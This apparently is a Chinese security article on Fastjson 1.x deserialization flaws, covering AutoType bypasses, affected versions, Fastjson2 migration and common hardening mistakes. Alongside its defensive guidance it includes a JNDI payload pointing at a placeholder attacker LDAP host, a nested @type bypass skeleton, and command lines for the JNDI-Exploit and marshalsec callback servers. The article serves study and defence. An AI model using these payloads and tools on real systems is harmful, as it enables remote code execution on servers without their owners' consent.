Fastjson 漏洞完整梳理：版本差异、绕过、工具、防御误区-平芜编程栈

🔒免责声明：本文仅供授权渗透测试、红蓝对抗、安全研究学习，所有实验操作请在自建靶场完成。未经授权对公网业务进行漏洞测试属于违法行为，请严格遵守网络安全法律法规。

前言

Fastjson 作为阿里巴巴开源的 Java JSON 序列化与反序列化组件，曾经在国内 Java 项目大规模普及，几乎是互联网、政企、金融系统标配组件。从 2017 年爆出经典 CVE‑2017‑18349 开始，多年间不断出现 AutoType 绕过漏洞，大量安全事件、挖矿勒索攻击都和 Fastjson 漏洞相关。

很多开发者、安全人员对 Fastjson 漏洞理解停留在 “@type、JNDI 注入” 表层，分不清各个版本的差异，混淆 Fastjson1.x 与 Fastjson2.x 安全机制，同时网上流传大量错误防御方案，很多项目做了配置修改，但依旧存在被绕过风险。

本文万字完整梳理 Fastjson 漏洞体系：讲解 AutoType 底层原理，梳理全版本漏洞时间线，拆解每一类绕过思路，实战利用条件，常用工具使用，区分 Fastjson1.x 与 Fastjson2.x 巨大差异，重点剖析现实环境中高频踩坑的防御误区，同时给出自查、修复、加固完整方案。适合 Java 开发、安全运维、渗透测试工程师阅读。

ATT&CK 映射：T1210 利用反序列化漏洞，T1190 面向公众应用漏洞利用，T1059 命令执行。

一、Fastjson 基础与 AutoType 核心原理

1.1 什么是序列化、反序列化

序列化：Java 对象转为 JSON 字符串，用于网络传输、存储；
反序列化：JSON 字符串恢复成 Java 对象。

Fastjson 提供JSON.parse()、JSON.parseObject()实现反序列化。普通 JSON 只能映射固定 POJO 类，如果需要反序列化多态对象，就需要AutoType 自动类型支持。

1.2 AutoType @type 是什么

AutoType 是 Fastjson 多态反序列化功能，JSON 中通过@type字段指定要实例化的完整 Java 类名。
示例：

{ "@type":"com.example.User", "username":"test" }

Fastjson 读取@type的值，加载对应的 Class，实例化对象，反射调用 setter、getter 方法给对象属性赋值。

漏洞根源：攻击者控制输入 JSON，构造危险类名，Fastjson 实例化恶意类，反射调用类中的 setter/getter，触发 JNDI 查找、恶意方法执行，最终实现远程代码执行 RCE。

注意：漏洞不是 Fastjson 本身代码直接执行命令，而是加载 Java Gadget（小工具链类），利用类自身原有逻辑完成攻击。

1.3 Fastjson 1.x 安全机制演进历史

1.2.24 及更早版本：AutoType默认开启，没有黑名单白名单，直接加载任意 @type 指定类，漏洞裸奔，CVE‑2017‑18349 就是这个时代的漏洞。
1.2.25 版本：重大变更，默认关闭 autoTypeSupport，新增checkAutoType()校验函数，引入黑名单、白名单机制。
- autoTypeSupport=true：开启多态，允许加载类，同时校验黑白名单；
- autoTypeSupport=false（默认）：关闭多态，理论禁止任意类加载。
1.2.25 之后：安全研究者不断发现 checkAutoType 校验逻辑缺陷，出现大量绕过，每次更新扩充黑名单，但黑名单防御模式存在先天短板，堵完一个 Gadget 又出现新 Gadget。
1.2.83：Fastjson1.x 最后一个正式版本，官方停止维护，不再更新，推荐迁移 Fastjson2。
1.2.84：针对 CVE‑2026‑16723 紧急补丁版本，属于 1.x 分支临时修复，依然不再长期维护。
Fastjson2：完全重新架构，重构 AutoType 安全模型，不再沿用 1.x 黑名单机制，安全模型完全不同GitHub。

非常关键知识点：autoTypeSupport=false 不等于绝对安全，历史大量漏洞就是在默认关闭 AutoType 的场景下实现绕过 RCE，这也是绝大多数人的认知误区。

1.4 checkAutoType 简单逻辑梳理（Fastjson1.x）

伪代码逻辑简化理解：

如果 autoTypeSupport = true：优先匹配白名单，命中直接放行；命中黑名单抛出异常；不在黑白名单，尝试加载类；
如果 autoTypeSupport = false（默认配置）：正常拒绝大部分类；但代码逻辑存在缺陷，部分场景可以绕过黑名单校验，加载危险 Gadget 类。

黑名单只能拦截已知危险类，攻击者持续挖掘新第三方 Gadget，黑名单永远追不上新 Gadget，这就是黑名单防御的致命短板。

二、Fastjson1.x 主要 CVE 漏洞梳理，版本差异详解

下面梳理真实环境经常遇到的高危 CVE，包含受影响版本、利用条件、攻击原理。

2.1 CVE‑2017‑18349 经典 Fastjson 漏洞

受影响版本：Fastjson <=1.2.24
条件：AutoType 默认开启，不需要绕过，直接使用 @type 指定 JdbcRowSetImpl、TemplatesImpl 等 Gadget。
攻击原理：com.sun.rowset.JdbcRowSetImpl类的 dataSourceName 属性支持 JNDI 地址，Fastjson 反序列化设置恶意 ldap/rmi 地址，触发 JNDI 远程类加载，执行命令。
经典 payload 片段：

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://攻击IP:1389/Exploit", "autoCommit":true }

真实事件：当年该漏洞大规模蠕虫挖矿，公网大量服务器沦陷。1.2.25 版本关闭 autoType 默认开关，加入黑名单拦截 JdbcRowSetImpl、TemplatesImpl。

2.2 CVE‑2020‑35887 1.2.47 绕过

受影响版本：<=1.2.47
条件：autoTypeSupport=false（默认配置）即可绕过，不需要手动开启 AutoType。
绕过技巧：利用双 @type 嵌套绕过 checkAutoType 校验逻辑缺陷，绕过黑名单，加载 TemplatesImpl。

很多人以为升级到 1.2.25 就安全，但是 1.2.47 依旧可以绕过，这是护网中高频遇到的老漏洞。

2.3 CVE‑2022‑25845 重大绕过漏洞

受影响版本：Fastjson 1.x <1.2.83
条件：默认 autoTypeSupport=false，无需开启 AutoType，依靠第三方 Gadget 实现绕过 RCE。
原理：checkAutoType 逻辑缺陷，部分第三方类不在黑名单，可被触发，比如 Hikari、Commons‑Proxy 相关 gadget。
重要提示：是否能够利用，取决于目标服务器 classpath 环境是否存在对应的第三方 jar 包。如果目标没有对应依赖，payload 不会执行 RCE，只会抛出异常。

2.4 CVE‑2026‑16723 Gadget‑Free 无依赖 RCE

受影响版本：Fastjson1.x 1.2.68 ~1.2.83，包含 1.x 最终版 1.2.83。
关键点：Gadget‑Free，不需要目标存在第三方依赖包，仅仅依赖 JDK 内置类就可以 RCE，破坏力巨大，在野利用严重。autoType 默认关闭依旧可以触发，SafeMode 未开启情况下攻击成立。
修复版本：1.2.84，官方强烈建议开启 SafeMode 作为兜底防护。

这是非常重磅漏洞，很多运维升级到 1.2.83 就以为万事大吉，1.2.83 是 1.x 停止维护版本，依旧存在高危漏洞。

2.5 Fastjson1.x 版本总结表格

版本区间	安全状态	关键说明
<=1.2.24	高危	AutoType 默认开启，无需绕过直接打
1.2.25‑1.2.47	高危	autoType 默认关闭，但存在嵌套 @type 绕过
1.2.48‑1.2.67	高危	扩充黑名单，仍然存在多种第三方 Gadget 绕过
1.2.68‑1.2.83	严重高危	CVE‑2026‑16723，无 gadget 依赖 RCE，1.x 停止维护最终版
1.2.84	临时修复	修复 CVE‑2026‑16723，但是 1.x 不再长期维护，优先迁移 Fastjson2

重点：不要迷信版本号，即使 1.2.83，默认配置下依旧高危，1.x 整个系列官方已经停止维护，不建议继续在新项目使用。

三、Fastjson 各类绕过思路拆解

3.1 嵌套 @type 绕过（CVE‑2020‑35887）

早期 checkAutoType 校验逻辑对于嵌套的 @type 解析顺序存在缺陷，外层类过校验，内层恶意类直接实例化。

{ "@type":"...合法类", "obj":{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", ... } }

该绕过在 1.2.48 被修复，但启发后续大量变种绕过思路。

3.2 第三方 Gadget 绕过（CVE‑2022‑25845 一类）

黑名单只能拦截 JDK 自带的危险类，第三方组件类没有被纳入黑名单。
如果项目 classpath 中引入了对应 jar 包，攻击者就可以使用第三方 Gadget 完成攻击，常见 Gadget 来源：

commons‑proxy
HikariCP 数据库连接池
ibatis‑sqlmap
shiro 相关类
spring 相关组件类

实战坑：同一个 payload，A 环境可以 RCE，B 环境报错失败，不是版本问题，是 B 环境没有对应的第三方依赖 jar 包。

3.3 @JSONType 注解绕过

部分类带有@JSONType注解，Fastjson 解析逻辑中，带该注解的类会跳过部分 checkAutoType 校验逻辑，这也是 CVE‑2026‑16723 漏洞的核心路径之一，不需要额外第三方 gadget，JDK 内置即可利用。

3.4 autoTypeSupport=true 开启后的绕过

业务因为多态需求手动开启autoTypeSupport=true，就算配置白名单，白名单配置不当依旧存在风险。如果白名单配置父类，子类可能绕过；白名单配置包前缀书写错误，防护失效。

3.5 伪绕过现象（很多 POC 误报）

网上大量 POC 发送恶意 JSON，服务抛出autoType is not support异常，就判定存在 Fastjson 漏洞。这个属于误报！
抛出这个异常代表 checkAutoType 已经拦截类加载，没有完成实例化，不代表存在 RCE。真实漏洞需要类成功实例化，触发方法执行。

渗透测试 SRC 提交，不能只靠报错信息判断，需要完整验证是否能够触发 JNDI 回连或者命令执行。

四、Fastjson1.x 利用条件（非常重要，实战经常踩坑）

很多新手直接复制网上 payload，发包之后没反应，不清楚利用前置条件，完整利用需要全部或者部分满足下面条件：

输入可控：攻击者可以控制传入 Fastjson 反序列化的完整 JSON 字符串。

注意：仅仅是使用 Fastjson 做序列化（对象输出 JSON）不会触发漏洞；风险发生在**反序列化（parse/parseObject）**阶段。

HTTP 请求 body 直接传入 JSON；
Cookie、请求参数、POST 表单参数传入 JSON 字符串，后端直接交给JSON.parse()解析。

调用危险解析方法：

JSON.parse(jsonStr); JSON.parseObject(jsonStr); JSON.parseObject(jsonStr, Object.class);

如果直接指定明确安全 POJO 类：JSON.parseObject(jsonStr,User.class)，并且没有多态，不会解析 @type 字段，攻击很难触发。

JNDI 利用的额外条件（老版本 payload）

目标服务器可以外网出网，能够访问攻击者的 LDAP/RMI 服务器；内网隔离环境，无法回连攻击机，传统 JdbcRowSetImpl payload 失效。
JDK 版本限制：高版本 JDK（8u191 以上）默认限制 LDAP 远程加载类，传统 JNDI payload 失效。

所以内网环境，高 JDK 版本，老的 LDAP payload 打不通，需要 TemplatesImpl 本地 Gadget 或者 CVE‑2026‑16723 无 gadget payload。

Gadget 依赖条件

CVE‑2022‑25845 类漏洞，需要 classpath 存在对应的第三方 jar 包；
CVE‑2026‑16723 属于 Gadget‑Free，不需要第三方 jar 包，JDK 自带就可以攻击，危害最大。

五、实战利用工具完整介绍

5.1 JNDI‑Exploit（JNDI 注入工具）

最常用 Fastjson 老版本漏洞利用工具，开启 LDAP/RMI 服务，接收目标回连，提供恶意类加载。
使用示例：

java -jar JNDI‑Exploit‑1.2‑SNAPSHOT.jar -A 你的攻击机IP -P 1389 -C "calc.exe"

适用场景：目标可以外网回连，JDK 版本较低。内网不能出网，该工具无效。

5.2 marshalsec

marshalsec 可以生成各类反序列化 payload，启动 RMI/LDAP 服务。

java -cp marshalsec‑all.jar marshalsec.jndi.LDAPRefServer http://攻击ip/#Exploit 1389

适合安全研究者调试 Gadget 链。

5.3 Fastjson‑scan 检测工具

Burp 插件 / Java 工具，发送不同版本 payload，监听 LDAP 回连，判断是否存在漏洞。

重要提醒：回连 DNS/ldap 才是有效证据，仅仅看响应包报错不能判定漏洞。

5.4 内网无回连场景怎么测试

目标服务器不能访问外网，无法回连 LDAP 服务器，传统工具失效。
测试思路：

使用 DNSLog，构造 payload 触发 DNS 解析记录，判断类是否加载成功；
使用 TemplatesImpl 本地 Gadget，不依赖回连，直接本地执行；
CVE‑2026‑16723 payload，gadget‑free 本地触发。

真实渗透中，大量内网业务服务器无法外网出网，LDAP 类 payload 全部失效，很多人到这里就无法继续测试。

六、Fastjson 1.x VS Fastjson2 核心差异

很多开发简单替换包名就迁移，不清楚两者安全模型天差地别，这里重点区分。

6.1 Fastjson1.x（com.alibaba:fastjson）

安全机制：黑名单 + 白名单模式，autoTypeSupport 开关；
漏洞现状：1.x 分支停止维护，持续爆出绕过；
autoTypeSupport=false 默认关闭，但是依旧存在绕过风险；
存在 @type 多态字段；
存在 SafeMode 模式，作为兜底防护。

6.2 Fastjson2（com.alibaba.fastjson2:fastjson2）

完全重构安全模型，没有黑名单机制，采用显式白名单机制。默认完全关闭任意类自动加载，不存在 1.x 那种不断绕过黑名单的问题。
没有全局 autoTypeSupport 开关，如果业务需要多态反序列化，必须代码显式注册允许的类，不会自动加载任意类。
SafeMode 开启之后，就算业务代码开启多态，也全部禁止。
不兼容 1.x 全部 API，需要改造代码，官方提供兼容依赖包，但兼容包底层依旧是 1.x 不安全内核，不要使用兼容包当做安全升级。

非常大误区：很多项目直接引入 fastjson‑v2 兼容包，依赖底层依旧是 fastjson1.x，漏洞完全保留，没有任何防护效果。迁移必须完整修改 API，使用原生 fastjson2，而不是兼容桥接包。

6.3 Fastjson2 也不是绝对安全

Fastjson2 默认配置安全，但如果开发者错误配置，手动大量注册危险类，业务依旧会出现反序列化风险。2.x 也爆出过少量漏洞，但没有出现像 1.x 系列大量持续的 AutoType 绕过。

七、高频防御误区（生产环境踩坑重灾区）

这一章是全文重点，大量网上流传错误加固手段，很多项目做了配置，依旧被攻破。

误区 1：升级到 1.2.83 就安全了

❌错误：1.2.83 是 Fastjson1.x 最终停止维护版本，存在 CVE‑2026‑16723 高危漏洞，autoType 默认关闭依旧可以 RCE。
✅正确：1.x 系列不要继续使用，临时兜底升级 1.2.84 同时开启 SafeMode，长期目标迁移 Fastjson2。

误区 2：设置`autoTypeSupport=false`就高枕无忧

❌错误：无数历史漏洞就是 autoTypeSupport=false 情况下的绕过，关闭开关只是基础防护，不是最终安全屏障，黑名单模式本身有设计缺陷，会不断出现新绕过。
✅正确：关闭 autoTypeSupport 只是第一步，必须叠加 SafeMode；尽量避免解析不受信任的 JSON 到 Object.class。

误区 3：配置黑名单可以防御所有漏洞

❌错误：黑名单只能拦截已知危险类，第三方 Gadget、新挖掘的 JDK 内置类不在黑名单中，攻击者持续发现新 Gadget，黑名单永远补不完。
✅正确：黑名单是补救手段，不能当做主防御方案。

误区 4：WAF 拦截 @type 字符串就能防御 Fastjson 漏洞

❌错误：

payload 可以编码变形，绕过 WAF 关键字检测；
CVE‑2026‑16723 部分利用方式不一定依赖 @type；
内网环境没有 WAF，防护直接失效。
✅正确：WAF 只是边界辅助防护，服务端代码层面加固才是根本。

误区 5：业务需要多态，打开 autoTypeSupport，配置白名单就万事大吉

❌错误：白名单配置容易出错，配置父类会导致子类可被加载；包名前缀配置书写错误；第三方依赖新增类引入新风险。公网暴露业务尽量不要开启 autoTypeSupport。
✅正确：公网业务尽量避免使用 AutoType 多态功能；如果业务强需求，优先迁移 Fastjson2，显式注册具体允许类。

误区 6：只拦截 HTTP 请求体，Cookie、参数中 JSON 不做处理

❌错误：很多开发只过滤 POST body，但是业务代码会把 Cookie、URL 参数的字符串直接交给JSON.parse()解析，攻击者在这里传入恶意 JSON，绕过 WAF。
✅正确：所有来源的外部输入，只要进入 Fastjson 反序列化，都要做安全管控。

误区 7：换成 fastjson 兼容包，以为完成升级

❌错误：fastjson2 兼容桥接包底层依赖 fastjson1.x，漏洞全部继承，没有任何安全提升。
✅正确：迁移必须使用原生 fastjson2 包，改造 API，不能用兼容包糊弄。

误区 8：判断响应抛出 “autoType is not support”，代表修复完成

❌错误：该异常仅仅代表这一个 payload 被拦截，不代表不存在其他绕过 payload。
✅正确：漏洞修复要升级版本 + 开启 SafeMode，完整测试多组不同 payload，不能单看一个报错。

八、项目自查方法（开发 / 运维实操）

8.1 第一步：确认项目 fastjson 版本

Maven 项目查看 pom.xml，也可以查找依赖树：

mvn dependency:tree | grep fastjson

groupIdcom.alibaba→ Fastjson1.x；
groupIdcom.alibaba.fastjson2→ Fastjson2。

注意：很多间接依赖引入 fastjson，项目 pom 没有直接写，但是第三方框架间接引入，版本依旧危险。需要检查完整依赖树。

8.2 查找危险代码写法

搜索代码中这些方法调用：

JSON.parse(外部可控字符串); JSON.parseObject(外部可控字符串); JSON.parseObject(str, Object.class);

风险点：外部输入直接解析为 Object.class，允许触发多态逻辑。

安全写法：直接解析到确定业务 POJO 类，避免解析为 Object。

//安全，明确指定POJO User user = JSON.parseObject(jsonStr,User.class);

8.3 检查 ParserConfig 全局配置

是否手动开启 autoTypeSupport=true；公网业务尽量不要开启；
是否开启 SafeMode。

九、完整修复加固方案，分场景

场景 1：新项目开发

直接使用Fastjson2，不要选择 Fastjson1.x。
Maven 依赖示例：

<dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2</artifactId> <version>2.0.63</version> </dependency>

业务需要多态反序列化，显式注册允许的类，不要自动加载任意类，开启 SafeMode。

场景 2：老项目，暂时无法迁移 Fastjson2（Fastjson1.x）

⚠️这只是临时缓解方案，1.x 官方停止维护，后续还会出现新漏洞。

升级到临时修复版本 1.2.84；
关闭 autoTypeSupport（默认 false，确认不要手动改为 true）；
强制开启 SafeMode 全局安全模式（最重要兜底）

//全局开启SafeMode，推荐放在项目启动类 ParserConfig.getGlobalInstance().setSafeMode(true);

JVM 启动参数方式（也可以作为兜底）

‑Dfastjson.parser.safeMode=true

开启 SafeMode 之后，autoType 多态功能完全失效，如果业务强依赖 AutoType 多态，开启 SafeMode 会导致业务报错，这种情况就必须迁移 Fastjson2，不能继续使用 1.x。

代码层面，尽量避免把外部不可信 JSON 解析为Object.class，优先指定固定 POJO 实体类。
禁止把 Cookie、请求参数、表单原始字符串直接交给JSON.parse()反序列化。

场景 3：业务必须开启 AutoType 多态

优先迁移 Fastjson2，显式注册业务允许的类；
公网对外暴露接口尽量不要开启多态；内网接口也要最小权限注册类；
Fastjson1.x 环境：开启 SafeMode 会直接禁用 autoType，无法同时使用，这种情况代表 1.x 已经不适合你的业务。

通用加固建议

升级 JDK 版本，缩小 JNDI 注入攻击面；
网络层面限制服务器外网出网，减少 JNDI 回连攻击链路；
日志监控：监控业务日志出现autoType is not support大量异常，大概率正在遭受 Fastjson 漏洞攻击；
定期依赖扫描，使用 maven‑dependency‑check 等工具扫描第三方组件漏洞。

十、渗透测试 Fastjson 漏洞测试思路

信息收集：识别项目 Fastjson 版本，确认是 1.x 还是 2.x；
寻找外部可控输入点，输入完整 JSON 字符串，后端交给 parse/parseObject；
构造 DNSLog payload，触发 DNS 查询，判断类加载是否成功；
区分报错：autoType is not support属于拦截，不等于漏洞；
内网环境无法回连 LDAP，优先测试 gadget‑free payload；
注意间接依赖引入 Fastjson，即使业务代码没有直接 import，框架内部使用 Fastjson 同样存在风险；
不要只测试 HTTP Body，同时测试 Cookie、请求参数传入 JSON 字符串；
漏洞证据需要完整：可控输入点、回连 DNSLog/LDAP 记录，不能仅仅依靠响应报错。

提交 SRC 漏洞报告，需要附上 payload、DNSlog 回连截图，说明版本、利用条件，区分 1.x/2.x。

总结

Fastjson1.x 反序列化漏洞不是单一漏洞，而是一整个漏洞家族，多年来攻击者与黑白名单校验机制持续博弈。

漏洞核心来自 AutoType@type 多态反序列化，攻击者控制 JSON 输入，加载危险 Gadget 类，反射调用方法触发 RCE。
版本认知：<=1.2.24 裸奔；1.2.25‑1.2.83 虽然默认关闭 autoTypeSupport，但是存在大量绕过，1.2.83 依旧存在 CVE‑2026‑16723 高危无第三方依赖 RCE；1.x 已经停止维护。
黑名单防御存在先天缺陷，只能防御已知 Gadget，无法对抗新挖掘 Gadget；autoTypeSupport=false不是铜墙铁壁，SafeMode 才是 1.x 重要兜底。
Fastjson2 重构安全架构，摒弃黑名单模式，采用显式注册白名单，是长期安全选择，切忌使用 1.x 兼容桥接包伪升级。
大量防御误区：WAF 拦截关键字、单纯升级到 1.2.83、只关闭 autoTypeSupport 都不能实现完整防护。
开发层面：尽量不要把不受控外部 JSON 解析为 Object.class；公网业务尽量规避 AutoType 多态；老项目临时加固必须开启 SafeMode，长远迁移 Fastjson2。

在护网、真实红蓝对抗中，很多 WAF 可以拦截 SQL 注入、XSS，但是 Fastjson 反序列化漏洞经常穿透边界防护，内网大量老 Java 系统受影响，理解版本差异和绕过原理，才不会被各类 POC、网上错误加固方案误导。